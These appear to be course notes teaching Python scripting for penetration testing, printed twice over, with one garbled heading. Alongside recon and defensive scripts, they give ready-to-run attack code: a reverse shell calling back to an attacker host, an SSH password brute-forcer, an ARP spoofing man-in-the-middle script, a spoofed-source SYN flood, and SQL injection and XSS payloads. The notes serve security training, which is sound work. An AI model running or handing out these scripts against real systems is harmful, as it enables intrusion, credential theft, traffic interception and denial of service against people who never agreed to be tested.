Python for Cybersecurity Scripting

Target Audience: Ethical Hackers, Pentesters, SOC Analysts, Red/Blue Teamers Prerequisites: Basic Linux + Python (variables, loops) Tools: Kali Linux, Python 3.9+, pip, VS Code or PyCharm Ethical Use Only: All scripts for authorized testing (labs, CTFs, TryHackMe, Hack The Box)

Python for Cybersecurity Scripting

Python for Cybersecurity Scripting

Python for Cybersecurity Scripting: Complete Course Notes

Master Python to Automate Recon, Scanning, Exploitation, Forensics & Defense


COURSE OVERVIEW

Target Audience: Ethical Hackers, Pentesters, SOC Analysts, Red/Blue Teamers
Prerequisites: Basic Linux + Python (variables, loops)
Tools: Kali Linux, Python 3.9+, pip, VS Code or PyCharm
Ethical Use Only: All scripts for authorized testing (labs, CTFs, TryHackMe, Hack The Box)


WHY PYTHON FOR CYBERSECURITY?

Feature Cyber Advantage
Simple syntax Fast scripting
Rich libraries requests, scapy, paramiko, pwntools
Cross-platform Windows, Linux, macOS
Automation Replace slow manual tasks
Community 1000s of open-source tools

MODULE 1: PYTHON BASICS FOR CYBER

Key Concepts

# Variables & Input
target = input("Enter target IP: ")
port = 80

# Lists & Dictionaries
open_ports = []
services = {"22": "SSH", "80": "HTTP", "443": "HTTPS"}

# Loops
for ip in range(1, 255):
    scan(f"192.168.1.{ip}")

# Conditionals
if "root" in output:
    print("[!] Privilege escalation possible")

Hands-On: Banner Grabber

#!/usr/bin/env python3
import socket

def grab_banner(ip, port=80, timeout=2):
    try:
        s = socket.socket()
        s.settimeout(timeout)
        s.connect((ip, port))
        banner = s.recv(1024).decode().strip()
        print(f"[+] {ip}:{port}{banner}")
        s.close()
    except:
        print(f"[-] {ip}:{port} → No response")

grab_banner("scanme.nmap.org", 80)

MODULE 2: NETWORKING & RECON

2.1 Port Scanner (Threaded)

#!/usr/bin/env python3
import threading
import socket
from queue import Queue
import sys

def scan_port(ip, port):
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.settimeout(0.5)
        result = s.connect_ex((ip, port))
        if result == 0:
            print(f"[+] Port {port} OPEN")
        s.close()
    except:
        pass

def worker():
    while True:
        port = q.get()
        scan_port(target_ip, port)
        q.task_done()

target_ip = sys.argv[1]
q = Queue()
for i in range(500):  # 500 threads
    t = threading.Thread(target=worker, daemon=True)
    t.start()

for port in range(1, 65536):
    q.put(port)

q.join()
print("Scan complete.")

2.2 Subdomain Enumeration

#!/usr/bin/env python3
import requests

wordlist = "/usr/share/wordlists/dirb/common.txt"
domain = "example.com"

for word in open(wordlist).read().splitlines():
    url = f"http://{word}.{domain}"
    try:
        r = requests.get(url, timeout=2)
        if r.status_code != 404:
            print(f"[+] Found: {url}")
    except:
        pass

2.3 DNS Recon

import dns.resolver

domain = "megacorp.one"
records = ['A', 'MX', 'NS', 'TXT']

for r in records:
    try:
        answers = dns.resolver.resolve(domain, r)
        print(f"\n[{r} Records]")
        for server in answers:
            print(server.to_text())
    except:
        print(f"[-] No {r} records")

MODULE 3: WEB VULNERABILITY SCANNING

3.1 SQL Injection Scanner

import requests

payloads = ["' OR 1=1--", "' OR 'a'='a", "1' UNION SELECT NULL--"]
url = "http://testphp.vulnweb.com/artists.php?artist=1"

for payload in payloads:
    try:
        r = requests.get(url + payload)
        if "error" not in r.text.lower() and len(r.text) > 1000:
            print(f"[!] Possible SQLi: {payload}")
    except:
        pass

3.2 XSS Fuzzer

payloads = ['<script>alert(1)</script>', '<img src=x onerror=alert(1)>']
url = "http://testsite.com/search.php?q="

for p in payloads:
    r = requests.get(url + p)
    if p in r.text:
        print(f"[!] Reflected XSS: {p}")

3.3 Directory Brute Force

import requests
from concurrent.futures import ThreadPoolExecutor

wordlist = "/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt"
url = "http://192.168.1.100/"

def check_dir(word):
    try:
        r = requests.get(url + word.strip(), timeout=3)
        if r.status_code in [200, 301, 302]:
            print(f"[+] Found: {url}{word.strip()} [{r.status_code}]")
    except:
        pass

with ThreadPoolExecutor(max_workers=50) as executor:
    with open(wordlist) as f:
        executor.map(check_dir, f)

MODULE 4: EXPLOITATION & POST-EXPLOITATION

4.1 Reverse Shell (One-Liner)

# Attacker (listener)
nc -lvnp 4444

# Victim (run this)
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.1.10",4444))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])

4.2 SSH Brute Force (paramiko)

import paramiko
import sys

ip = sys.argv[1]
username = "root"
wordlist = "/usr/share/wordlists/rockyou.txt"

ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())

with open(wordlist) as f:
    for password in f.read().splitlines()[:100]:  # Limit for ethics
        try:
            ssh.connect(ip, username=username, password=password, timeout=2)
            print(f"[+] Password found: {password}")
            break
        except:
            print(f"[-] Failed: {password}")

MODULE 5: PACKET MANIPULATION (Scapy)

5ock ARP Spoofing (MITM)

#!/usr/bin/env python3
from scapy.all import *

def spoof(target_ip, spoof_ip):
    packet = ARP(op=2, pdst=target_ip, hwdst=getmacbyip(target_ip), psrc=spoof_ip)
    send(packet, verbose=False)

target = "192.168.1.100"
gateway = "192.168.1.1"

try:
    while True:
        spoof(target, gateway)
        spoof(gateway, target)
        time.sleep(2)
except KeyboardInterrupt:
    print("[*] Stopped.")

5.2 SYN Flood (DoS)

from scapy.all import *

src = RandIP()
for i in range(1000):
    IP_pkt = IP(src=src, dst="192.168.1.100")
    TCP_pkt = TCP(sport=RandShort(), dport=80, flags="S")
    send(IP_pkt/TCP_pkt, verbose=0)
print("Flood sent.")

MODULE 6: FORENSICS & LOG ANALYSIS

6.1 Parse Auth Logs

import re
from collections import Counter

log_file = "/var/log/auth.log"
failed_ips = []

pattern = r"Failed password for .* from (\d+\.\d+\.\d+\.\d+)"
with open(log_file) as f:
    for line in f:
        match = re.search(pattern, line)
        if match:
            failed_ips.append(match.group(1))

top_attackers = Counter(failed_ips).most_common(5)
for ip, count in top_attackers:
    print(f"[!] {ip}: {count} failed logins")

6.2 Memory Forensics (Volatility Wrapper)

import subprocess
import json

def vol_profile(image):
    cmd = ["volatility", "-f", image, "pslist"]
    result = subprocess.run(cmd, capture_output=True, text=True)
    return result.stdout

# Use with .mem dumps from CTFs

MODULE 7: AUTOMATION & TOOLING

7.1 Nmap Wrapper

#!/usr/bin/env python3
import nmap

nm = nmap.PortScanner()
results = nm.scan('192.168.1.0/24', '22-443', arguments='-sV')

for host in nm.all_hosts():
    if nm[host].state() == 'up':
        print(f"\n[+] {host} is UP")
        for proto in nm[host].all_protocols():
            ports = nm[host][proto].keys()
            for port in ports:
                state = nm[host][proto][port]['state']
                service = nm[host][proto][port]['name']
                print(f"  {port}/tcp {state} {service}")

7.2 Auto Recon Script

#!/usr/bin/env python3
import os
import sys

target = sys.argv[1]
os.system(f"mkdir -p recon/{target}")

# Full recon chain
os.system(f"nmap -A -oX recon/{target}/nmap.xml {target}")
os.system(f"nikto -h {target} -output recon/{target}/nikto.txt")
os.system(f"gobuster dir -u http://{target} -w /usr/share/wordlists/dirb/common.txt -o recon/{target}/gobuster.txt")

print(f"[*] Recon complete → recon/{target}/")

MODULE 8: DEFENSIVE SCRIPTING

8.1 File Integrity Monitor

import hashlib
import time
import os

baseline = {}

def hash_file(path):
    with open(path, 'rb') as f:
        return hashlib.md5(f.read()).hexdigest()

# Create baseline
for file in ["/etc/passwd", "/etc/shadow"]:
    baseline[file] = hash_file(file)

# Monitor
while True:
    for file, old_hash in baseline.items():
        if os.path.exists(file):
            new_hash = hash_file(file)
            if new_hash != old_hash:
                print(f"[!] ALERT: {file} modified!")
    time.sleep(60)

8.2 YARA Rule Scanner

import yara

rule = yara.compile(source='''
rule SuspiciousString {
    strings:
        $s1 = "eval("
        $s2 = "system("
    condition:
        any of them
}
''')

matches = rule.match("malicious.php")
if matches:
    print("[!] Malware pattern detected!")

CAPSTONE PROJECT: AUTO-PENTEST FRAMEWORK

#!/usr/bin/env python3
# auto_pentest.py
import argparse
from modules.recon import *
from modules.scan import *
from modules.exploit import *

parser = argparse.ArgumentParser()
parser.add_argument("target")
args = parser.parse_args()

print(f"[*] Starting pentest on {args.target}")
run_recon(args.target)
run_scan(args.target)
run_web_vulns(args.target)
generate_report(args.target)

Build your own framework! Add modules, GUI (Tkinter), export to PDF.


RESOURCES & PRACTICE

Platform Focus
TryHackMe Python rooms: "Python Basics", "Network Scripting"
Hack The Box Use scripts in labs
OverTheWire Bandit (Linux + scripting)
PWNABLE Exploit dev with Python
GitHub Search: python pentest tool

CHEAT SHEET (One-Page)

# Networking
socket, requests, scapy, nmap

# Web
requests.get(), BeautifulSoup, selenium

# Crypto
hashlib.md5(), cryptography, base64

# Forensics
os, re, json, csv, pefile

# Exploit
pwntools, paramiko, subprocess

# Automation
threading, concurrent.futures, argparse

FINAL TIPS

  1. Never run on unauthorized systems.
  2. Use virtual labs (VirtualBox + Kali + Metasploitable).
  3. Contribute to open-source tools (e.g., Nuclei templates).
  4. Learn pwntools for binary exploitation.
  5. Master argparse for CLI tools.

Want PDF, Notion Template, or Video Walkthroughs?
Need CTF Writeups or Exploit Templates?
Just ask — I’ll generate them!

Stay Ethical. Stay Sharp. Code Securely.

Last updated: Nov 10, 2025

Python for Cybersecurity Scripting

Target Audience: Ethical Hackers, Pentesters, SOC Analysts, Red/Blue Teamers Prerequisites: Basic Linux + Python (variables, loops) Tools: Kali Linux, Python 3.9+, pip, VS Code or PyCharm Ethical Use Only: All scripts for authorized testing (labs, CTFs, TryHackMe, Hack The Box)

Python for Cybersecurity Scripting

Python for Cybersecurity Scripting

Python for Cybersecurity Scripting: Complete Course Notes

Master Python to Automate Recon, Scanning, Exploitation, Forensics & Defense


COURSE OVERVIEW

Target Audience: Ethical Hackers, Pentesters, SOC Analysts, Red/Blue Teamers
Prerequisites: Basic Linux + Python (variables, loops)
Tools: Kali Linux, Python 3.9+, pip, VS Code or PyCharm
Ethical Use Only: All scripts for authorized testing (labs, CTFs, TryHackMe, Hack The Box)


WHY PYTHON FOR CYBERSECURITY?

Feature Cyber Advantage
Simple syntax Fast scripting
Rich libraries requests, scapy, paramiko, pwntools
Cross-platform Windows, Linux, macOS
Automation Replace slow manual tasks
Community 1000s of open-source tools

MODULE 1: PYTHON BASICS FOR CYBER

Key Concepts

# Variables & Input
target = input("Enter target IP: ")
port = 80

# Lists & Dictionaries
open_ports = []
services = {"22": "SSH", "80": "HTTP", "443": "HTTPS"}

# Loops
for ip in range(1, 255):
    scan(f"192.168.1.{ip}")

# Conditionals
if "root" in output:
    print("[!] Privilege escalation possible")

Hands-On: Banner Grabber

#!/usr/bin/env python3
import socket

def grab_banner(ip, port=80, timeout=2):
    try:
        s = socket.socket()
        s.settimeout(timeout)
        s.connect((ip, port))
        banner = s.recv(1024).decode().strip()
        print(f"[+] {ip}:{port}{banner}")
        s.close()
    except:
        print(f"[-] {ip}:{port} → No response")

grab_banner("scanme.nmap.org", 80)

MODULE 2: NETWORKING & RECON

2.1 Port Scanner (Threaded)

#!/usr/bin/env python3
import threading
import socket
from queue import Queue
import sys

def scan_port(ip, port):
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.settimeout(0.5)
        result = s.connect_ex((ip, port))
        if result == 0:
            print(f"[+] Port {port} OPEN")
        s.close()
    except:
        pass

def worker():
    while True:
        port = q.get()
        scan_port(target_ip, port)
        q.task_done()

target_ip = sys.argv[1]
q = Queue()
for i in range(500):  # 500 threads
    t = threading.Thread(target=worker, daemon=True)
    t.start()

for port in range(1, 65536):
    q.put(port)

q.join()
print("Scan complete.")

2.2 Subdomain Enumeration

#!/usr/bin/env python3
import requests

wordlist = "/usr/share/wordlists/dirb/common.txt"
domain = "example.com"

for word in open(wordlist).read().splitlines():
    url = f"http://{word}.{domain}"
    try:
        r = requests.get(url, timeout=2)
        if r.status_code != 404:
            print(f"[+] Found: {url}")
    except:
        pass

2.3 DNS Recon

import dns.resolver

domain = "megacorp.one"
records = ['A', 'MX', 'NS', 'TXT']

for r in records:
    try:
        answers = dns.resolver.resolve(domain, r)
        print(f"\n[{r} Records]")
        for server in answers:
            print(server.to_text())
    except:
        print(f"[-] No {r} records")

MODULE 3: WEB VULNERABILITY SCANNING

3.1 SQL Injection Scanner

import requests

payloads = ["' OR 1=1--", "' OR 'a'='a", "1' UNION SELECT NULL--"]
url = "http://testphp.vulnweb.com/artists.php?artist=1"

for payload in payloads:
    try:
        r = requests.get(url + payload)
        if "error" not in r.text.lower() and len(r.text) > 1000:
            print(f"[!] Possible SQLi: {payload}")
    except:
        pass

3.2 XSS Fuzzer

payloads = ['<script>alert(1)</script>', '<img src=x onerror=alert(1)>']
url = "http://testsite.com/search.php?q="

for p in payloads:
    r = requests.get(url + p)
    if p in r.text:
        print(f"[!] Reflected XSS: {p}")

3.3 Directory Brute Force

import requests
from concurrent.futures import ThreadPoolExecutor

wordlist = "/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt"
url = "http://192.168.1.100/"

def check_dir(word):
    try:
        r = requests.get(url + word.strip(), timeout=3)
        if r.status_code in [200, 301, 302]:
            print(f"[+] Found: {url}{word.strip()} [{r.status_code}]")
    except:
        pass

with ThreadPoolExecutor(max_workers=50) as executor:
    with open(wordlist) as f:
        executor.map(check_dir, f)

MODULE 4: EXPLOITATION & POST-EXPLOITATION

4.1 Reverse Shell (One-Liner)

# Attacker (listener)
nc -lvnp 4444

# Victim (run this)
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.1.10",4444))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])

4.2 SSH Brute Force (paramiko)

import paramiko
import sys

ip = sys.argv[1]
username = "root"
wordlist = "/usr/share/wordlists/rockyou.txt"

ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())

with open(wordlist) as f:
    for password in f.read().splitlines()[:100]:  # Limit for ethics
        try:
            ssh.connect(ip, username=username, password=password, timeout=2)
            print(f"[+] Password found: {password}")
            break
        except:
            print(f"[-] Failed: {password}")

MODULE 5: PACKET MANIPULATION (Scapy)

5ock ARP Spoofing (MITM)

#!/usr/bin/env python3
from scapy.all import *

def spoof(target_ip, spoof_ip):
    packet = ARP(op=2, pdst=target_ip, hwdst=getmacbyip(target_ip), psrc=spoof_ip)
    send(packet, verbose=False)

target = "192.168.1.100"
gateway = "192.168.1.1"

try:
    while True:
        spoof(target, gateway)
        spoof(gateway, target)
        time.sleep(2)
except KeyboardInterrupt:
    print("[*] Stopped.")

5.2 SYN Flood (DoS)

from scapy.all import *

src = RandIP()
for i in range(1000):
    IP_pkt = IP(src=src, dst="192.168.1.100")
    TCP_pkt = TCP(sport=RandShort(), dport=80, flags="S")
    send(IP_pkt/TCP_pkt, verbose=0)
print("Flood sent.")

MODULE 6: FORENSICS & LOG ANALYSIS

6.1 Parse Auth Logs

import re
from collections import Counter

log_file = "/var/log/auth.log"
failed_ips = []

pattern = r"Failed password for .* from (\d+\.\d+\.\d+\.\d+)"
with open(log_file) as f:
    for line in f:
        match = re.search(pattern, line)
        if match:
            failed_ips.append(match.group(1))

top_attackers = Counter(failed_ips).most_common(5)
for ip, count in top_attackers:
    print(f"[!] {ip}: {count} failed logins")

6.2 Memory Forensics (Volatility Wrapper)

import subprocess
import json

def vol_profile(image):
    cmd = ["volatility", "-f", image, "pslist"]
    result = subprocess.run(cmd, capture_output=True, text=True)
    return result.stdout

# Use with .mem dumps from CTFs

MODULE 7: AUTOMATION & TOOLING

7.1 Nmap Wrapper

#!/usr/bin/env python3
import nmap

nm = nmap.PortScanner()
results = nm.scan('192.168.1.0/24', '22-443', arguments='-sV')

for host in nm.all_hosts():
    if nm[host].state() == 'up':
        print(f"\n[+] {host} is UP")
        for proto in nm[host].all_protocols():
            ports = nm[host][proto].keys()
            for port in ports:
                state = nm[host][proto][port]['state']
                service = nm[host][proto][port]['name']
                print(f"  {port}/tcp {state} {service}")

7.2 Auto Recon Script

#!/usr/bin/env python3
import os
import sys

target = sys.argv[1]
os.system(f"mkdir -p recon/{target}")

# Full recon chain
os.system(f"nmap -A -oX recon/{target}/nmap.xml {target}")
os.system(f"nikto -h {target} -output recon/{target}/nikto.txt")
os.system(f"gobuster dir -u http://{target} -w /usr/share/wordlists/dirb/common.txt -o recon/{target}/gobuster.txt")

print(f"[*] Recon complete → recon/{target}/")

MODULE 8: DEFENSIVE SCRIPTING

8.1 File Integrity Monitor

import hashlib
import time
import os

baseline = {}

def hash_file(path):
    with open(path, 'rb') as f:
        return hashlib.md5(f.read()).hexdigest()

# Create baseline
for file in ["/etc/passwd", "/etc/shadow"]:
    baseline[file] = hash_file(file)

# Monitor
while True:
    for file, old_hash in baseline.items():
        if os.path.exists(file):
            new_hash = hash_file(file)
            if new_hash != old_hash:
                print(f"[!] ALERT: {file} modified!")
    time.sleep(60)

8.2 YARA Rule Scanner

import yara

rule = yara.compile(source='''
rule SuspiciousString {
    strings:
        $s1 = "eval("
        $s2 = "system("
    condition:
        any of them
}
''')

matches = rule.match("malicious.php")
if matches:
    print("[!] Malware pattern detected!")

CAPSTONE PROJECT: AUTO-PENTEST FRAMEWORK

#!/usr/bin/env python3
# auto_pentest.py
import argparse
from modules.recon import *
from modules.scan import *
from modules.exploit import *

parser = argparse.ArgumentParser()
parser.add_argument("target")
args = parser.parse_args()

print(f"[*] Starting pentest on {args.target}")
run_recon(args.target)
run_scan(args.target)
run_web_vulns(args.target)
generate_report(args.target)

Build your own framework! Add modules, GUI (Tkinter), export to PDF.


RESOURCES & PRACTICE

Platform Focus
TryHackMe Python rooms: "Python Basics", "Network Scripting"
Hack The Box Use scripts in labs
OverTheWire Bandit (Linux + scripting)
PWNABLE Exploit dev with Python
GitHub Search: python pentest tool

CHEAT SHEET (One-Page)

# Networking
socket, requests, scapy, nmap

# Web
requests.get(), BeautifulSoup, selenium

# Crypto
hashlib.md5(), cryptography, base64

# Forensics
os, re, json, csv, pefile

# Exploit
pwntools, paramiko, subprocess

# Automation
threading, concurrent.futures, argparse

FINAL TIPS

  1. Never run on unauthorized systems.
  2. Use virtual labs (VirtualBox + Kali + Metasploitable).
  3. Contribute to open-source tools (e.g., Nuclei templates).
  4. Learn pwntools for binary exploitation.
  5. Master argparse for CLI tools.

Want PDF, Notion Template, or Video Walkthroughs?
Need CTF Writeups or Exploit Templates?
Just ask — I’ll generate them!

Stay Ethical. Stay Sharp. Code Securely.

Last updated: Nov 10, 2025